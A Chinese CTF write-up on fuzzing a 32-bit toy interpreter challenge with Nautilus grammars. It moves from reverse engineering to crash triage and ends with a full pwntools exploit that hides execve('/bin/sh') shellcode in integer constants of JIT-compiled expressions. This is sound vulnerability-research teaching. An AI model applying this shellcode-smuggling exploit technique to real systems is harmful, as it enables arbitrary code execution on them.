Fuzzing with Nuatilus

 

在学习了Fishing for Deep Bugs with Grammars后迫不及待的想要上手试试Nautilus去fuzz一些CTF中遇到的解释器类型的题目。正好项目也给出了一个target，下面记录了我的实践过程。

 

静态分析 && 动态分析

在拿到一个target尤其是解释器类型的题目后，一般最好不要直接上fuzz，先分析下程序逻辑，理清程序在哪里读取了我们的输入，在哪里对输入进行了检查，在哪里执行我们的输入，以及尝试去发现一些可疑的逻辑使得我们能更有针对性的制定fuzz策略。

[$] file fuzzing-5th          
fuzzing-5th: ELF 32-bit LSB shared object, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.24, stripped

首先明确target是x86下的32位程序，接着ida配合gdb调试分析。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  _DWORD v5[30]; // [esp-7Ch] [ebp-84h] BYREF
  int (__cdecl **v6)(_DWORD, char *, int); // [esp-4h] [ebp-Ch] BYREF

  signal(14, (__sighandler_t)sub_AA40);
  alarm(0x3Cu);
  setvbuf(stdout, 0, 2, 0);
  v3 = time(0);
  srand(v3);
  v6 = (int (__cdecl **)(_DWORD, char *, int))(&`vtable for'CIOStdioConnection + 2);
  sub_DF0((int)v5);
  sub_F00((int)v5);
  sub_1000(v5, &v6);
  sub_E80((int)v5);
  return 0;
}

main函数中v6被赋予了一个貌似虚表函数指针，后面应该会调用，先往下看。
sub_DF0((int)v5)v5是一段栈上的数组，sub_DF0对v5进行了一系列的赋值

int __cdecl sub_DF0(int a1)
{
  int result; // eax

  func1((_DWORD *)(a1 + 4));
  func2(a1 + 16, a1);
  *(_DWORD *)(a1 + 0x60) = 0;
  result = func3(a1 + 100);
  *(_DWORD *)(a1 + 0x74) = 0;
  return result;
}

func1对v5[1]，v5[2]，v5[3]赋值

before:
pwndbg> x/80wx 0xffffcd44
0xffffcd44:    0x00000001    0xf7ffd940    0xf7caef5e    0xf7c34000
0xffffcd54:    0x00000000    0x00000000    0xf7ffd000    0x00000000
0xffffcd64:    0x00004a00    0xf7c64589    0xf7e0f808    0xf7fb0d20
0xffffcd74:    0xffffce64    0xf7c64589    0x565658fa    0x5656cff4
0xffffcd84:    0xf7e0c000    0x00000001    0x565559ed    0xf7e0c3fc
0xffffcd94:    0xf7c646bb    0x5656cff4    0x56565871    0xf7ed1330
0xffffcda4:    0xf7c646bb    0x5656cff4    0xf7c64785    0xf7fe59c0
0xffffcdb4:    0x00000000    0x56565859    0x5656cee0    0x00000000

after:
pwndbg> x/80wx 0xffffcd44
0xffffcd44:    0x00000001    0xffffcd49    0xffffcd48    0x00000000
0xffffcd54:    0x00000000    0x00000000    0xf7ffd000    0x00000000
0xffffcd64:    0x00004a00    0xf7c64589    0xf7e0f808    0xf7fb0d20
0xffffcd74:    0xffffce64    0xf7c64589    0x565658fa    0x5656cff4
0xffffcd84:    0xf7e0c000    0x00000001    0x565559ed    0xf7e0c3fc
0xffffcd94:    0xf7c646bb    0x5656cff4    0x56565871    0xf7ed1330
0xffffcda4:    0xf7c646bb    0x5656cff4    0xf7c64785    0xf7fe59c0
0xffffcdb4:    0x00000000    0x56565859    0x5656cee0    0x00000000

func2就是对v5[4]到v5[23]赋值

pwndbg> x/80wx 0xffffcd44
0xffffcd44:    0x00000001    0xffffcd49    0xffffcd48    0x00000000
0xffffcd54:    0x00000000    0x00000000    0xffffcd59    0xffffcd5c
0xffffcd64:    0x00000004    0xffffcd4d    0xffffcd68    0x0000001c
0xffffcd74:    0xffffcd75    0xffffcd74    0x00000000    0xffffcd81
0xffffcd84:    0xffffcd80    0x00000000    0xffffcd8d    0xffffcd8c
0xffffcd94:    0x00000000    0x00000000    0x00000000    0xffffcd44
0xffffcda4:    0xf7c646bb    0x5656cff4    0xf7c64785    0xf7fe59c0
0xffffcdb4:    0x00000000    0x56565859    0x5656cee0    0x00000000

之后v5[24]赋值为0，func3对v5[25]到v5[28]赋值，最后v5[29]为0。

pwndbg> x/80wx 0xffffcd44
0xffffcd44:    0x00000001    0xffffcd49    0xffffcd48    0x00000000
0xffffcd54:    0x00000000    0x00000000    0xffffcd59    0xffffcd5c
0xffffcd64:    0x00000004    0xffffcd4d    0xffffcd68    0x0000001c
0xffffcd74:    0xffffcd75    0xffffcd74    0x00000000    0xffffcd81
0xffffcd84:    0xffffcd80    0x00000000    0xffffcd8d    0xffffcd8c
0xffffcd94:    0x00000000    0x00000000    0x00000000    0xffffcd44
0xffffcda4:    0x00000000    0xffffcda9    0xffffcda8    0x00000000
0xffffcdb4:    0x00000000    0x00000000    0x5656cee0    0x00000000

对v5辅助完后调用sub_F00((int)v5)：

int __cdecl sub_F00(int v5)
{
  _DWORD *v1; // eax
  int i; // edx
  char v3; // al
  int v4; // edx

  v1 = (_DWORD *)operator new(17352u);
  for ( i = 0; i != 4080; ++i )
    v1[i + 3] = 0;
  *v1 = 0;
  v1[1] = 0;
  *(_DWORD *)(v5 + 116) = v1;
  v3 = sub_C3E0(v5 + 16, (int)v1);
  v4 = 0;
  if ( v3 )
  {
    v4 = 1;
    *(_DWORD *)(v5 + 112) = *(_DWORD *)(v5 + 116);
  }
  return v4;
}

大体行为是先new了一个0x43c8大小的对堆块，堆块前4080*4大小的内存置0，然后将堆块指针ptr赋值给v5[29]，v5[22]，v5[28]。

pwndbg> x/80wx 0xffffcd44
0xffffcd44:    0x00000001    0xffffcd49    0xffffcd48    0x00000000
0xffffcd54:    0x00000000    0x00000000    0xffffcd59    0xffffcd5c
0xffffcd64:    0x00000004    0xffffcd4d    0xffffcd68    0x0000001c
0xffffcd74:    0xffffcd75    0xffffcd74    0x00000000    0xffffcd81
0xffffcd84:    0xffffcd80    0x00000000    0xffffcd8d    0xffffcd8c
0xffffcd94:    0x00000000    0x00000000    0x56572b70    0xffffcd44
0xffffcda4:    0x00000000    0xffffcda9    0xffffcda8    0x00000000
0xffffcdb4:    0x56572b70    0x56572b70    0x5656cee0    0x00000000

简单的跟了一下堆栈之后感觉依然很迷，继续往下分析sub_1000(v5, &v6);

int __cdecl sub_1000(_DWORD *v5, int (__cdecl ***v6)(_DWORD, char *, int))
{
  int result; // eax
  int i; // edi
  int (__cdecl **v4)(_DWORD, char *, int); // eax
  int ret; // eax
  char buf[1025]; // [esp+2Bh] [ebp-421h] BYREF
  unsigned int v7; // [esp+42Ch] [ebp-20h]

  v7 = __readgsdword(0x14u);
  result = 0;
  if ( v6 )
  {
    v5[24] = v6;
    for ( i = 0; ; ++i )
    {
      v4 = *v6;
      *v5 = i + 1;
      ret = (*v4)(v6, buf, 0x400);              // call io
      if ( ret <= 0 )
      {
        puts("Connection closed");
        result = 1;
        goto LABEL_8;
      }
      if ( !(unsigned __int8)check_run((int)v5, i, (int)buf, ret) )// check and run
      {
        result = 0;
        goto LABEL_8;
      }
      if ( i == 49999 )
        break;
    }
    result = 1;
  }
LABEL_8:
  if ( __readgsdword(0x14u) != v7 )
    sub_108D0();
  return result;
}

主要逻辑在循环体中先调用(*v4)(v6, buf, 0x400)读取我们的输入，之后调用(unsigned __int8)check_run((int)v5, i, (int)buf, ret)检查并执行输入。

int __cdecl check(int v5, int i, int buf, int ret)
{
  int *v4; // edi

  v4 = (int *)(v5 + 4);
  if ( (unsigned __int8)check1(v5 + 4, buf, ret, (_DWORD *)v5, i) )// check identifier
    check2((char *)(v5 + 16), v4, v5);          // check expression and exec
  sub_AC70((void **)v4);
  return 1;
}

check1主要是对标识符的检查，限制标识符只能字母数字和下划线’_’构成，且其最大长度为65。
check2主要对表达式以及语法规则进行检查，内容比较复杂，我也是边逆边猜，猜出了一些语法如下形式：

[$] ./fuzzing-5th                                                                   [23:17:51]
func a(x)
    var s = 0
    var t = 5
    while t > 0
        t = t - 1
        s = s + 1
    if s == x
        return 555
    return x
run a(1)
RESULT: 1 (1)
run a(5)
RESULT: 555 (22B)

即可以定义函数，在函数内可以定义局部变量，使用if和while语法，执行算术运算以及通过return返回。
其执行部分为：

v17 = sub_101D0((int)a2, v8);
  result = exec(a1, v17, (int)a2, (_DWORD *)a3, v5);
  if ( (_BYTE)result )
  {
    v18 = a1;
    result = *((_DWORD *)a1 + 5);
    if ( (result & 1) == 0 )
    {
      if ( result )
      {
        if ( *(_DWORD *)result )
        {
          if ( *(_DWORD *)result != 4 )
          {
            v10 = "Invalid run expression";
            goto LABEL_20;
          }
          v19 = *(_DWORD *)(result + 24);
          v18 = (char *)*((_DWORD *)a1 + 18);
          output = 0;
          if ( v19 <= 0xFEF )
            output = *(_DWORD *)&v18[4 * v19 + 12];
        }
        else
        {
          output = *(_DWORD *)(result + 12);
        }
        ((void (__thiscall *)(char *, char *, int, int, const char *, int, int))__sprintf_chk)(
          v18,
          v39,
          1,
          1024,
          "RESULT: %d (%X)\n",
          output,
          output);
        result = ::output(a3, v39);
      }
    }
  }

exec是最后对输入进行执行的部分，其逻辑较比较复杂，作为前期的fuzz准备我们可以先跳过。在有了在这些分析后我们大概有个了fuzz的思路：程序拥有对输入语法的check因此适合选择基于文法的nautilus进行fuzz，同时还要提供一个CFG文法，nautilus会针对我们提供的CFG构造语法树，并对语法树进行变异等，具体变异策略可以参考我之前Fishing for Deep Bugs with Grammars的学习笔记。
那么接下来就可以开始为fuzz做准备了。

 

Fuzzing && Exploitation

1、搭建nautilus2.0的环境。2.0支持了AFL-Qemu mode，这样正是我们无源码fuzz需要的。（注意nautilus需要rust的环境）

git clone 'git@github.com:nautilus-fuzz/nautilus.git'
cd nautilus
cargo run /path/to/AFLplusplus/afl-qemu-trace -g grammars/grammar_py_example.py -- ./fuzzing-t5th @@  //fuzzing with AFL-Qemu mode
cargo run --bin generator -- -g grammars/grammar_py_exmaple.py -t 100  // generator testcase

2、构造CFG文法：
我先尝试了简单的直接”run”+算数表达式的语法格式：

ctx.rule("START", "run {E}\r\n")
ctx.rule("E", "({E} + {A})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("A", "[0-9]+")
ctx.regex("E", "[0-9]+")

执行情况：

毫无收获，看来”run”+arithmetic expression的语法触发的基本块不够多…

由于我们还可以定义函数，因此尝试将算术表达式放到return语句里执行，修改一下CFG：

ctx.rule("START", "func a(x)\n\treturn {E}\nrun a({Argu})\r\n")
ctx.rule("E", "({E} + {A})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")
ctx.regex("A", "[0-9]+")
ctx.regex("E", "[0-9]+")
ctx.regex("Argu", "[0-9]+")

执行情况：

看上去也没什么作用，但我构造的CFG只能产生常树之间的算数运算式，如过涉及变量的话应该会有所不同。再次修改：

ctx.rule("START", "func {Id}({Argu})\n\treturn {Expr}\nrun {Id}({X})\n")
ctx.rule("Id", "a")
ctx.rule("Argu", "x")

ctx.rule("Expr", "({Argu} + {E})")
ctx.rule("Expr", "({Argu} - {E})")
ctx.rule("Expr", "({Argu} * {E})")
ctx.rule("Expr", "({Argu} / {E})")
ctx.rule("Expr", "({Argu} && {E})")
ctx.rule("Expr", "({Argu} || {E})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")

ctx.regex("X", "^[0-9]{1,20}$")

ctx.regex("A", "^[0-9]{1,20}$")
ctx.regex("E", "^[0-9]{1,20}$")

一上来就得到了几个sig crash：

root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th 
func a(x)
    return (x || ((((((((0 - 132869808) * 132892977) / 132862054) - 132899319) && 132899319) - 132869808) && 132892977) * 132862054))
run a(100)
Segmentation fault

root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th 
func a(x)
    return (x || (((66410660 && 132862054) * 132871088) - 132878417))
run a(45617814)
Segmentation fault

func a(x)
    return (x || (((((446156039430 || 132862054) && 0) || 132862054) && 6534036694) * 132878417))
run a(69474002464495)

发现这几个输入都是与参数x进行了或运算”||”，又手动试了几个:

root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th 
func a(x)
    return x || 0
run a(1)
Segmentation fault
root@an9ela:/home/an9ela/fuzzing/nautilus# ./fuzzing-5th 
func a(x)
    return x && 1
run a(3)
Segmentation fault

发现涉及”||”和“&&”的运算都导致了程序的段错误这时我们就可以简单写个调试脚本看下为什么会Segmentation fault。

发现ecx为0x1000取地址byte ptr [ecx]时程序崩溃
反复调试后定位崩溃对应代码位于：

LABEL_45:
  if ( !(unsigned __int8)sub_E8D0(a1, a1 + 2, v36, a4) )
    goto LABEL_39;

再步入sub_E8D0函数

if ( v54 == v4 )
    {
LABEL_80:
      v50 = (int)v45[1];
      *(int **)((char *)v45 + (v50 & 0xFFFFFFFE) - (*v45[2] & 0xFFFFFFFE) + 8) = v45[2];
      *v45[2] = v50;
      v57 = v46;
      operator delete(v45);
      result = sub_D5D0(a1, v42, (int)v57, (int)a3, (int)a4);
      goto LABEL_11;
    }

继续调下去发现程序崩溃在了sub_D5D0函数里再步入：

v24 = sub_D3F0(a1);
  if ( (unsigned __int8)sub_A560(a5 + 100, *((_DWORD *)a2 + 2), v26, i, v24)

崩在了sub_A560进去看看：

bool __cdecl sub_A3E0(int a1, int a2, int a3, int a4)
{
  char *v4; // eax
  char *v5; // esi
  char *v6; // eax
  int v8[8]; // [esp+2Ch] [ebp-20h] BYREF

  if ( !*(_BYTE *)(a1 + 24) )
    sub_A1C0(a1);
  v4 = (char *)memalign(0x1000u, 0x1000u);
  v8[0] = 0;
  v5 = v4;
  sub_B4E0(v4, v8);
  sub_B560(&v5[v8[0]], v8, *(_DWORD *)(a1 + 20) + 8);
  sub_B2F0(*(_DWORD *)(a1 + 20) + 12, &v5[v8[0]], v8);
  sub_B3C0(*(_DWORD *)(a1 + 28), a2, a3, a4, &v5[v8[0]], v8);
  v6 = &v5[v8[0]];
  *(_DWORD *)(*(_DWORD *)(a1 + 20) + 4) = &v5[v8[0]];
  sub_B510(v6, v8);
  sub_B650(&v5[v8[0]], v8);
  if ( mprotect(v5, 0x1000u, 5) == -1 )
    __printf_chk(1, "mprotected failed!");
  ((void (*)(void))v5)();
  if ( mprotect(v5, 0x1000u, 3) == -1 )
    __printf_chk(1, "mprotect failed!");
  free(v5);
  return **(_DWORD **)(a1 + 20) == 0;
}

((void (*)(void))v5)();是我们感兴趣的地方，步入后还有个call eax的指令

pwndbg> x/40i 0x5790c000
    0x5790c000:    push   eax
    0x5790c001:    push   ecx
    0x5790c002:    push   edx
    0x5790c003:    push   ebx
    0x5790c004:    push   esi
    0x5790c005:    push   ebp
    0x5790c006:    push   edi
    0x5790c007:    xor    edi,edi
    0x5790c009:    mov    DWORD PTR ds:0x57903b78,esp
    0x5790c00f:    mov    esi,0x57903b7c
    0x5790c014:    push   esi
    0x5790c015:    push   0x1
    0x5790c01a:    mov    eax,0x57909000
    0x5790c01f:    call   eax
    0x5790c021:    pop    edi
    0x5790c022:    pop    ebp
    0x5790c023:    pop    esi
    0x5790c024:    pop    ebx
    0x5790c025:    pop    edx
    0x5790c026:    pop    ecx
    0x5790c027:    pop    eax
    0x5790c028:    ret

此时的内存：

call eax跳到的指令;

pwndbg> x/40i 0x57909000
   0x57909000:    cmp    esi,0x57907b3c
   0x57909006:    jl     0x57909015
   0x57909008:    mov    eax,ds:0x57903b74
   0x5790900d:    mov    esp,DWORD PTR ds:0x57903b78
   0x57909013:    jmp    eax
   0x57909015:    pop    ebp
   0x57909016:    pop    DWORD PTR [esi+0x0]
   0x57909019:    push   ebp
   0x5790901a:    mov    eax,DWORD PTR [esi+0x0]
   0x5790901d:    add    BYTE PTR [ecx],dh    //get crash
   0x5790901f:    leave  
   0x57909020:    test   eax,0x1
   0x57909025:    je     0x57909028
   0x57909027:    inc    ecx
   0x57909028:    mov    DWORD PTR [esi+0x4],ecx
   0x5790902b:    mov    eax,DWORD PTR [esi+0x4]
   0x5790902e:    mov    DWORD PTR [esi+0x0],eax
   0x57909031:    mov    esi,DWORD PTR [esp+0x4]
   0x57909035:    ret    0x4
   0x57909038:    mov    esi,DWORD PTR [esp+0x4]
   0x5790903c:    ret    0x4
   0x5790903f:    add    BYTE PTR [eax],al
   0x57909041:    add    BYTE PTR [eax],al
   0x57909043:    add    BYTE PTR [eax],al

上面是执行如下的输入的情况。

func a(x)
    return x&&1
run a(1)

如果我们输入不会崩溃的”+”:

func a(x)
    return x+3
run a(1)

pwndbg> x/40i 0x57222000
=> 0x57222000:    cmp    esi,0x57220b3c
   0x57222006:    jl     0x57222015
   0x57222008:    mov    eax,ds:0x5721cb74
   0x5722200d:    mov    esp,DWORD PTR ds:0x5721cb78
   0x57222013:    jmp    eax
   0x57222015:    pop    ebp
   0x57222016:    pop    DWORD PTR [esi+0x0]
   0x57222019:    push   ebp
   0x5722201a:    mov    eax,DWORD PTR [esi+0x0]
   0x5722201d:    add    eax,0x3
   0x57222022:    mov    DWORD PTR [esi+0x4],eax
   0x57222025:    mov    eax,DWORD PTR [esi+0x4]
   0x57222028:    mov    DWORD PTR [esi+0x0],eax
   0x5722202b:    mov    esi,DWORD PTR [esp+0x4]
   0x5722202f:    ret    0x4
   0x57222032:    mov    esi,DWORD PTR [esp+0x4]
   0x57222036:    ret    0x4
   0x57222039:    add    BYTE PTR [eax],al

由于crash的原因在于ecx值太小的问题，尝试修改输入语法观察生成的code的变化后发现当我定义一个var时，ecx就是我们定义的变量大小。因此我们再次修改fuzz时的garmmar增加var的定义。

ctx.rule("START", "func {Id}({Argu})\n\tvar y={Value}\n\treturn {Expr}\nrun {Id}({X})\n")
ctx.rule("Id", "a")
ctx.rule("Argu", "x")

ctx.rule("Expr", "({Argu} + {E})")
ctx.rule("Expr", "({Argu} - {E})")
ctx.rule("Expr", "({Argu} * {E})")
ctx.rule("Expr", "({Argu} / {E})")
ctx.rule("Expr", "({Argu} && {E})")
ctx.rule("Expr", "({Argu} || {E})")
ctx.rule("E", "({E} - {A})")
ctx.rule("E", "({E} * {A})")
ctx.rule("E", "({E} / {A})")
ctx.rule("E", "({E} && {A})")
ctx.rule("E", "({E} || {A})")

ctx.regex("X", "^[0-9]{1,20}$")
ctx.regex("Value", "^[0-9]{1,20}$")
ctx.regex("A", "^[0-9]{1,20}$")
ctx.regex("E", "^[0-9]{1,20}$")

发现了很多的timout

调一下第一个发现生成的code在leave指令前一个指令为jg且跳转地址正是该区域的地址，如果能生成jmp的话说的不定能控制程序流。

pwndbg> x/30i 0x5799a000
=> 0x5799a000:    cmp    esi,0x57998b3c
   0x5799a006:    jl     0x5799a015
   0x5799a008:    mov    eax,ds:0x57994b74
   0x5799a00d:    mov    esp,DWORD PTR ds:0x57994b78
   0x5799a013:    jmp    eax
   0x5799a015:    pop    ebp
   0x5799a016:    pop    DWORD PTR [esi+0x0]
   0x5799a019:    push   ebp
   0x5799a01a:    mov    ecx,0x7f85fe
   0x5799a01f:    mov    DWORD PTR [esi+0x8],ecx
   0x5799a022:    mov    DWORD PTR [esi+0x4],ecx
   0x5799a025:    mov    eax,DWORD PTR [esi+0x0]
   0x5799a028:    jg     0x5799a05b
   0x5799a02a:    leave  
   0x5799a02b:    test   eax,0x0
   0x5799a030:    je     0x5799a033
   0x5799a032:    inc    ecx
   0x5799a033:    mov    DWORD PTR [esi+0x8],ecx
   0x5799a036:    mov    eax,DWORD PTR [esi+0x8]
   0x5799a039:    mov    DWORD PTR [esi+0x0],eax
   0x5799a03c:    mov    esi,DWORD PTR [esp+0x4]
   0x5799a040:    ret    0x4
   0x5799a043:    mov    esi,DWORD PTR [esp+0x4]
   0x5799a047:    ret    0x4
   0x5799a04a:    add    BYTE PTR [eax],al
   0x5799a04c:    add    BYTE PTR [eax],al

怀疑8357374应该是个对应比较跳转的汇编，利用pwntools disasm：

>>> disasm("8357374")
'   0:   38 33                   cmp    BYTE PTR [ebx], dh\n   2:   35 37 33 37 34          xor    eax, 0x34373337'

>>> u32(asm("jmp ax").ljust(4,'\x00'))
14745446

所以将var赋值为14745446看到

pwndbg> x/40i 0x56643000
=> 0x56643000:    cmp    esi,0x56641b3c
   0x56643006:    jl     0x56643015
   0x56643008:    mov    eax,ds:0x5663db74
   0x5664300d:    mov    esp,DWORD PTR ds:0x5663db78
   0x56643013:    jmp    eax
   0x56643015:    pop    ebp
   0x56643016:    pop    DWORD PTR [esi+0x0]
   0x56643019:    push   ebp
   0x5664301a:    mov    ecx,0xe0ff66
   0x5664301f:    mov    DWORD PTR [esi+0x8],ecx
   0x56643022:    mov    DWORD PTR [esi+0x4],ecx
   0x56643025:    mov    eax,DWORD PTR [esi+0x0]
   0x56643028:    loopne 0x5664305b
   0x5664302a:    leave  
   0x5664302b:    test   eax,0x0
   0x56643030:    je     0x56643033
   0x56643032:    inc    ecx
   0x56643033:    mov    DWORD PTR [esi+0x8],ecx
   0x56643036:    mov    eax,DWORD PTR [esi+0x8]
   0x56643039:    mov    DWORD PTR [esi+0x0],eax
   0x5664303c:    mov    esi,DWORD PTR [esp+0x4]
   0x56643040:    ret    0x4
   0x56643043:    mov    esi,DWORD PTR [esp+0x4]
   0x56643047:    ret    0x4
   0x5664304a:    add    BYTE PTR [eax],al
   0x5664304c:    add    BYTE PTR [eax],al
   0x5664304e:    add    BYTE PTR [eax],al
   0x56643050:    add    BYTE PTR [eax],al
   0x56643052:    add    BYTE PTR [eax],al
   0x56643054:    add    BYTE PTR [eax],al
   0x56643056:    add    BYTE PTR [eax],al
   0x56643058:    add    BYTE PTR [eax],al
   0x5664305a:    add    BYTE PTR [eax],al
   0x5664305c:    add    BYTE PTR [eax],al
   0x5664305e:    add    BYTE PTR [eax],al

loopne也是条件跳转但此时的寄存器ecx值大于0且zf为0可以跳转，接下来就是考虑如何在跳转处写入shellcode。
在增加算数表达式的长度时生成的code也会增加，因此我们可以增加算数表达式的长度并在跳转的对应位置写入shellcode(通过u32(opcode)传入表达式)。
构造payload如下：

  payload = '''
  func f(v1)
  \tvar v4  = 14745446
  \treturn (((((v1 && 9)+9)+9)-9)+{}+{})
  run f(1)
  '''.format(u32(asm("mov ax,0")))

成功执行到了mov ax, 0
接下来就可以构造完整的shellcode链了，需要注意的是程序为32位，为了保证shellcode不会偏移错位最好使得每条指令长度为2byte（不足的使用’nop’补充），且为了shellcode的连续执行，在每条指令后面跟上一个固定偏移的跳转从而跳到下一条指令执行。

 payload = '''
  func f(v1)
  \tvar v4  = 14745446
  \treturn ((((((v1 && 9)+9)+9)-9)+{})+{})
  run f(1)
  '''.format(u32(asm('mov ah, 0x68')+"\xeb\x07"),u32(asm('mov al, 0x73')+"\xeb\x07"))
  p.sendline(payload)

这样构造就可以将两条指令连接起来。

exp:

from pwn import *
# context(arch='i386', os='linux', aslr=False, terminal=['tmux', 'neww'])
context.log_level = 'debug'
context.arch = 'i386'
# context.terminal = ["tmux", "splitw", "-h"]

def debug(addr,PIE=True):
    if PIE:
        text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
        gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
    else:
        gdb.attach(p,"b *{}".format(hex(addr)))

def main(host, port = 1234):
    global p
    if host:
        p = remote(host, port)
    else:
        p = process("./fuzzing-5th")
      # debug(0xA4DE)
      # debug(0xFD75)


    sleep(1)
    shellcode = [
        asm('xor ecx, ecx'),
        asm('xor eax, eax'),
        asm('xor edx, edx'),
        asm('push ecx'),
        asm('mov ah, 0x68'),
        asm('mov al, 0x73'),
        asm('push ax'),
        asm('mov ah, 0x2f'),
        asm('mov al, 0x6e'),
        asm('push ax'),
        asm('mov ah, 0x69'),
        asm('mov al, 0x62'),
        asm('push ax'),
        asm('mov ah, 0x2f'),
        asm('mov al, 0x2f'),
        asm('push ax'),
        asm('mov ebx, esp'),
        asm('xor eax, eax'),
        asm('mov al, 11'),
        asm('int 0x80'),
    ]
    shellcode = [instruction.ljust(2, asm('nop')) for instruction in shellcode]
    shellcode = [instruction + '\xeb\x07' for instruction in shellcode] 
    s = '((((v1 && 9)-9)-9)-9)'
    for instruction in shellcode:
        s = '({} + {})'.format(s, u32(instruction))

    payload = '''
    func f(v1)
    \tvar v4 = {}
    \treturn {}
    run f(1)
    '''.format(14745446, s)    
    #15400960
    # payload = '''
    # func f(v1)
    # \tvar v4  = 14745446
    # \treturn ((((((v1 && 9)+9)+9)-9)+{})+{})
    # run f(1)
    # '''.format(u32(asm('mov ah, 0x68')+"\xeb\x07"),u32(asm('mov al, 0x73')+"\xeb\x07"))
    p.sendline(payload)

    p.interactive()

if __name__ == "__main__":
    main(0)

 

总结

通过fuzzing触发了程序的漏洞并通过对漏洞的进一步利用完成了程序流的劫持，整个过程下来并没有花费太多的时间在逆向程序的处理逻辑上，最后虽然对于漏洞的成因仍然不是很清楚但仍然pwn掉了，但通过这次的实践也让我体会到了使用fuzzing技术对于漏洞挖掘的重要意义，制定一个行之有效的fuzzing策略将能很大程度上提高我们漏洞挖掘的效率。